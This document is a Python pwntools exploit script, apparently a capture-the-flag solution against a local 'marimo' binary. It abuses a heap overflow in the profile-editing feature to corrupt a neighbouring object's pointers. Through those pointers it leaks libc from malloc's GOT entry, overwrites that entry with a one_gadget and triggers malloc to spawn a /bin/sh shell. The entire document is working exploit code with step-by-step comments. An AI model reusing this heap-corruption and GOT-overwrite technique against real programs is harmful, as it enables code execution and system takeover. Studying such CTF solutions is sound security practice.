#!/usr/bin/env python

from pwn import *
import time

def make_free_marimo(name, profile, exploit=False):
    p.sendlineafter('>> ', 'show me the marimo')

    if not exploit:
        make_marimo(name, profile)

def make_marimo(name, profile):
    p.sendafter("What's your new marimo's name? (0x10)\n>> ", name)
    p.sendafter('profile. (0x20)\n>>', profile)

def view_my_bowls(index):
    p.sendlineafter('>> ', 'V')
    p.sendlineafter('Select number or [B]ack\n>> ', chr(index + 48))

def modify_marimo(profile):
    p.sendlineafter('[M]odify / [B]ack ?\n>> ', 'M')
    p.sendafter('Give me new profile\n>> ', profile)

def no_modify_marimo():
    p.sendlineafter('[M]odify / [B]ack ?\n>> ', 'B')

with context.quiet:
    p = process('./program', env = {'LD_PRELOAD': './libc-2.23.so'})

    # since we don't have enough money at the beginning, we had to create "free" marimos
    
    # marimo_a  ==> fastbin_1 (0x20)
    # name_a    ==> fastbin_2 (0x20)
    # profile_a ==> fastbin_3 (0x30)
    make_free_marimo('a' * 16 + '\n', '0' * 32)

    # marimo_b  ==> fastbin_4 (0x20)
    # name_b    ==> fastbin_5 (0x20)
    # profile_b ==> fastbin_6 (0x30)
    make_free_marimo('b' * 16 + '\n', '1' * 32)

    # we wait for a few seconds, so the price of marimo_a goes up
    time.sleep(2)

    # here we view marimo_a, and later we can modify it
    view_my_bowls(0)

    # since the lenght of profile_a is related to marimo_a's price
    # we can provide an input larget than 32 characters which results in
    # overwritting marimo_b's chunk
    modify_marimo('0' * 32 + \
                  # preserve fastbin_4's metadata
                  '\x00' * 8 + p64(0x21) + \
                  # time_b == 0
                  p32(0) + \
                  # size_b == 1
                  p32(1) + \
                  # overwrite name_b's pointer with malloc@GOT address
                  p64(0x603050) + \
                  '\n')

    no_modify_marimo()

    # by viewing marimo_b, we can leak the malloc@GOT content, which then we
    # can find the libc base address
    view_my_bowls(1)

    p.recvuntil('name : ')
    libc_base = u64(p.recv(6) + '\x00\x00') - 0x84130

    no_modify_marimo()

    print 'libc base: {}'.format(hex(libc_base))

    # now we have the libc base address, we can now overwrite the marimo_b's content
    # again in order to overwrite the malloc@GOT content since "Full RELRO" is not enabled
    view_my_bowls(0)

    modify_marimo('0' * 32 + \
                  # preserve fastbin_4's metadata
                  '\x00' * 8 + p64(0x21) + \
                  # time_b == 0
                  p32(0) + \
                  # size_b == 1
                  p32(1) + \
                  # overwrite name_b's pointer with malloc@GOT address
                  p64(0x603050) + \
                  # overwrite profile_b's pointer with malloc@GOT address
                  p64(0x603050) + \
                  '\n')

    no_modify_marimo()

    # now, we have profile_b's pointing to malloc@GOT, so by viewing and modifying
    # marimo_b, we can overwrite the malloc@GOT with "one gadget" to run shell
    view_my_bowls(1)

    '''
    0x45216   execve("/bin/sh", rsp+0x30, environ)
    constraints:
        rax == NULL
    '''
    one_gadget = libc_base + 0x45216
    print 'one gadget: {}'.format(hex(one_gadget))

    # here the malloc@GOT content is overwritten with one gadget
    modify_marimo(p64(one_gadget)[0:6] + '\n')

    no_modify_marimo()

    # by triggering malloc, our one gadget is executed which result in running shell
    make_free_marimo('\n', '\n', True)

    p.interactive()

